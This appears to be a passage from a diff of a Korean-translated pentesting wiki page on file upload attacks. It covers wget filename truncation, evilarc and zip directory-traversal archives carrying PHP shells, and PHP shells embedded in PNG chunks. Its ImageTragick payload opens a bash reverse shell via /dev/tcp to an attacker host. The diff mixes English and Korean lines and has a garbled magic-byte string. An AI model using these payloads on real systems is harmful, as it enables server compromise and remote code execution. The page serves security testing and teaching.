그러나 `wget`은 파일명을 **"A"\*232+".php"**로 **이름을 변경**합니다. +어떤 경우에는 서버가 **`wget`**을 사용해 **파일을 다운로드**하고 **URL**을 **지정**할 수 있게 되어 있는 것을 발견할 수 있습니다. 이런 경우, 코드가 다운로드된 파일의 확장자가 화이트리스트에 포함되어 있는지 확인하여 허용된 파일만 다운로드되도록 할 수 있습니다. 그러나 **이 검사는 우회될 수 있습니다.**\ +**linux**에서 **filename**의 **maximum** 길이는 **255**이지만, **wget**은 파일명을 **236**자로 잘라냅니다. 예를 들어, **download a file called "A"\*232+".php"+".gif"**, 이 파일명은 **bypass** the **check**(이 예에서 **".gif"**는 **valid** 확장자이기 때문에), 하지만 `wget`은 파일명을 **"A"\*232+".php"**로 **rename**합니다. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -182,8 +210,8 @@ Some legacy upload handlers that use `snprintf()` or similar to build multi-file - If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**. - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) - Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications. -- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus** -- Check if there is any **size limit** uploading files +- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) 콘텐츠를 업로드해 서버에 **antivirus**가 있는지 확인하세요 +- 파일 업로드 시 **size limit**가 있는지 확인하세요 Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): @@ -207,7 +235,7 @@ https://github.com/portswigger/upload-scanner ## Magic Header Bytes -- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` +- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["` - **JPG**: `"\xff\xd8\xff"` Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes. @@ -224,20 +252,20 @@ ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt tar -cvf test.tar symindex.txt ``` -### 다른 폴더에 압축 해제 +### 다른 폴더로 압축 해제 -압축 해제 중 디렉터리에 파일이 의도치 않게 생성되는 문제는 심각합니다. 이러한 설정이 악성 파일 업로드를 통한 OS 수준의 명령 실행으로부터 보호한다고 처음에는 가정할 수 있지만, ZIP 아카이브 포맷의 계층적 압축 지원과 디렉터리 트래버설 기능은 악용될 수 있습니다. 이를 통해 공격자는 대상 애플리케이션의 압축 해제 기능을 조작하여 제약을 우회하고 안전한 업로드 디렉터리에서 탈출할 수 있습니다. +압축 해제 중 디렉터리 내에 파일이 의도치 않게 생성되는 것은 심각한 문제입니다. 이 구성이 악성 파일 업로드를 통한 OS 수준의 명령 실행을 방지할 수 있을 것이라는 초기 가정과는 달리, 계층적 압축 지원과 ZIP 아카이브 형식의 디렉터리 트래버설 기능은 악용될 수 있습니다. 이를 통해 공격자는 대상 애플리케이션의 압축 해제 기능을 조작하여 제한을 우회하고 보안 업로드 디렉터리에서 탈출할 수 있습니다. -이러한 파일을 제작하기 위한 자동화된 exploit는 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)에서 사용할 수 있습니다. 유틸리티는 다음과 같이 사용됩니다: +이러한 파일을 제작하기 위한 자동화된 익스플로잇은 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)에서 사용할 수 있습니다. 유틸리티는 다음과 같이 사용할 수 있습니다: ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -또한 **symlink trick with evilarc** 도 하나의 옵션입니다. 목표가 `/flag.txt` 같은 파일을 겨냥하는 것이라면, 해당 파일을 가리키는 symlink를 시스템에 생성해야 합니다. 이는 evilarc가 동작 중 오류를 발생시키지 않도록 보장합니다. +또한, **symlink trick with evilarc**도 하나의 옵션입니다. 목표가 `/flag.txt`와 같은 파일을 겨냥하는 것이라면, 해당 파일을 가리키는 symlink를 시스템에 생성해야 합니다. 이렇게 하면 evilarc가 작동하는 동안 오류가 발생하지 않습니다. -아래는 악성 zip 파일을 생성하는 데 사용되는 Python 코드 예시입니다: +아래는 악성 zip 파일을 생성하는 데 사용되는 Python 코드의 예입니다: ```python #!/usr/bin/python import zipfile @@ -255,11 +283,11 @@ zip.close() create_zip() ``` -**압축을 악용한 file spraying** +**압축 악용을 통한 file spraying** -자세한 내용은 **원문 게시물을 확인하세요**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) +자세한 내용은 **원본 게시물을 확인하세요**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Creating a PHP Shell**: PHP 코드는 `$_REQUEST` 변수로 전달된 명령을 실행하도록 작성됨. +1. **Creating a PHP Shell**: PHP 코드는 `$_REQUEST` 변수를 통해 전달된 명령을 실행하도록 작성됩니다. ```php ``` -2. **File Spraying and Compressed File Creation**: 여러 파일을 생성하고 이 파일들을 포함한 zip 아카이브를 만듦. +2. **File Spraying and Compressed File Creation**: 여러 파일을 생성한 후 이 파일들을 포함하는 zip 아카이브를 만듭니다. ```bash root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# zip cmd.zip xx*.php ``` -3. **Modification with a Hex Editor or vi**: vi 또는 hex editor로 zip 내부의 파일 이름을 변경해 "xxA"를 "../"로 바꿔 디렉터리 횡단을 수행함. +3. **Modification with a Hex Editor or vi**: zip 안의 파일 이름을 vi 또는 hex editor로 변경하여 "xxA"를 "../"로 바꿔 디렉터리 순회(traversal)를 수행합니다. ```bash :set modifiable @@ -286,36 +314,38 @@ root@s2crew:/tmp# zip cmd.zip xx*.php ## ImageTragic -이 내용을 이미지 확장자로 업로드하면 취약점(**ImageMagick , 7.0.1-1**)을 악용할 수 있습니다 (exploit: [https://www.exploit-db.com/exploits/39767](https://www.exploit-db.com/exploits/39767)) +이 콘텐츠를 이미지 확장자로 업로드하여 취약점 **(ImageMagick , 7.0.1-1)** 을 악용하세요 (exploit은 [https://www.exploit-db.com/exploits/39767](https://www.exploit-db.com/exploits/39767)) ``` push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' pop graphic-context ``` -## PNG에 PHP Shell 삽입 +## PNG에 PHP 셸 임베딩 -PNG 파일의 IDAT chunk에 PHP shell을 삽입하면 특정 이미지 처리 작업을 효과적으로 우회할 수 있습니다. PHP-GD의 `imagecopyresized`와 `imagecopyresampled` 함수는 각각 이미지 크기 조정과 재샘플링에 흔히 사용되므로 이 맥락에서 특히 관련이 있습니다. 임베디드된 PHP shell이 이러한 작업들의 영향을 받지 않는다는 점은 특정 사용 사례에서 중요한 이점입니다. +PNG 파일의 IDAT 청크에 PHP 셸을 임베딩하면 특정 이미지 처리 작업을 효과적으로 우회할 수 있습니다. PHP-GD의 `imagecopyresized`와 `imagecopyresampled` 함수는 각각 이미지 크기 조정과 리샘플링에 일반적으로 사용되므로 이 맥락에서 특히 관련이 있습니다. 임베딩된 PHP 셸이 이러한 작업으로 영향을 받지 않고 남아 있을 수 있다는 점은 특정 사용 사례에서 큰 이점입니다. -이 기술의 방법론과 잠재적 응용을 자세히 다룬 글은 다음 기사에 수록되어 있습니다: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). 이 자료는 프로세스와 그 의미를 포괄적으로 이해하는 데 도움이 됩니다. +이 기법의 방법론과 잠재적 적용 사례를 자세히 다룬 글은 다음 기사에서 확인할 수 있습니다: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). 이 자료는 절차와 그 영향에 대한 포괄적인 이해를 제공합니다. More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) -## Polyglot 파일 +## Polyglot Files -Polyglot 파일은 사이버 보안에서 독특한 도구로, 동시에 여러 파일 포맷으로 유효하게 존재할 수 있는 카멜레온 역할을 합니다. 흥미로운 예로는 [GIFAR](https://en.wikipedia.org/wiki/Gifar)가 있는데, 이는 GIF와 RAR 아카이브 둘 다로 작동하는 하이브리드입니다. 이러한 파일은 이 조합에만 국한되지 않으며, GIF와 JS 또는 PPT와 JS 같은 조합도 가능합니다. +Polyglot files는 사이버보안에서 독특한 도구로, 동시에 여러 파일 포맷으로 유효하게 존재할 수 있는 카멜레온과 같습니다. 흥미로운 예로는 [GIFAR](https://en.wikipedia.org/wiki/Gifar)가 있는데, 이는 GIF이자 RAR 아카이브로 동시에 동작하는 하이브리드입니다. 이러한 파일은 이 조합에 국한되지 않으며, GIF와 JS 또는 PPT와 JS 같은 조합도 가능합니다. -Polyglot 파일의 핵심 유용성은 파일 유형 기반으로 파일을 검사하는 보안 조치를 회피할 수 있다는 점입니다. 여러 애플리케이션에서 일반적으로 업로드를 허용하는 파일 유형을 JPEG, GIF, DOC 등으로 제한하여 JS, PHP, Phar 파일처럼 잠재적으로 위험한 포맷의 위험을 줄입니다. 그러나 polyglot은 여러 파일 형식의 구조적 기준을 동시에 만족시켜 이러한 제한을 은밀히 우회할 수 있습니다. +Polyglot files의 핵심 유용성은 파일 유형을 기준으로 파일을 검사하는 보안 조치를 우회할 수 있다는 점입니다. 다양한 애플리케이션에서는 잠재적으로 위험한 포맷(e.g., JS, PHP, or Phar files)에 대한 위험을 줄이기 위해 JPEG, GIF, 또는 DOC 같은 특정 파일 타입만 업로드를 허용하는 경우가 일반적입니다. 그러나 polyglot은 여러 파일 타입의 구조적 기준을 동시에 만족함으로써 이러한 제한을 은밀히 우회할 수 있습니다. -적응성이 뛰어나더라도 polyglot은 한계가 있습니다. 예를 들어 polyglot이 PHAR 파일 (PHp ARchive)과 JPEG를 동시에 포함하더라도 업로드 성공 여부는 플랫폼의 파일 확장자 정책에 달려 있을 수 있습니다. 시스템이 허용 가능한 확장자에 대해 엄격하면 구조적 이중성만으로는 업로드를 보장하지 못할 수 있습니다. +적응성에도 불구하고 polyglots는 한계에 직면할 수 있습니다. 예를 들어, polyglot가 PHAR 파일(PHp ARchive)과 JPEG를 동시에 구현할 수 있더라도, 업로드 성공 여부는 플랫폼의 파일 확장자 정책에 따라 달라질 수 있습니다. 시스템이 허용 가능한 확장자에 대해 엄격하다면, 단순한 구조적 이중성만으로는 업로드 성공을 보장하지 못할 수 있습니다. -### PDF인 것처럼 유효한 JSON 업로드 +More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) -허용되지 않은 경우에도 PDF로 가장하여 유효한 JSON 파일을 업로드해 파일 유형 탐지를 회피하는 방법(기법 출처: **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): +### Upload valid JSONs like if it was PDF -- **`mmmagic` library**: 처음 1024바이트 안에 `%PDF` 매직 바이트가 있으면 유효합니다(예시는 포스트 참조) -- **`pdflib` library**: JSON의 field 내부에 가짜 PDF 형식을 추가해 라이브러리가 이를 PDF로 인식하게 만듭니다(예시는 포스트 참조) -- **`file` binary**: 파일에서 최대 1048576바이트까지 읽을 수 있습니다. 이보다 큰 JSON을 만들어 file이 내용을 JSON으로 파싱하지 못하게 한 뒤, 그 JSON 내부에 실제 PDF의 초기 부분을 넣으면 file이 이를 PDF로 인식합니다 +허용되지 않은 경우에도 PDF 파일로 위장하여 유효한 JSON 파일을 업로드해 파일 유형 탐지를 우회하는 방법(기법 출처: **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): + +- **`mmmagic` library**: `%PDF` 매직 바이트가 처음 1024 바이트 안에 있으면 유효하다고 판단됩니다 (예시는 포스트에서 확인). +- **`pdflib` library**: JSON의 필드 내부에 가짜 PDF 포맷을 추가해 라이브러리가 이를 PDF로 인식하게 합니다 (예시는 포스트에서 확인). +- **`file` binary**: 파일에서 최대 1048576 바이트까지 읽을 수 있습니다. 이보다 큰 JSON을 만들어 파일을 JSON으로 파싱하지 못하게 한 뒤, JSON 내부에 실제 PDF의 초기 부분을 넣으면 `file`은 이를 PDF로 판단합니다. ## References @@ -327,5 +357,8 @@ Polyglot 파일의 핵심 유용성은 파일 유형 기반으로 파일을 검 - [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) - [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html) - [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) +- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546) +- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca) +- [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) {{#include ../../banners/hacktricks-training.md}}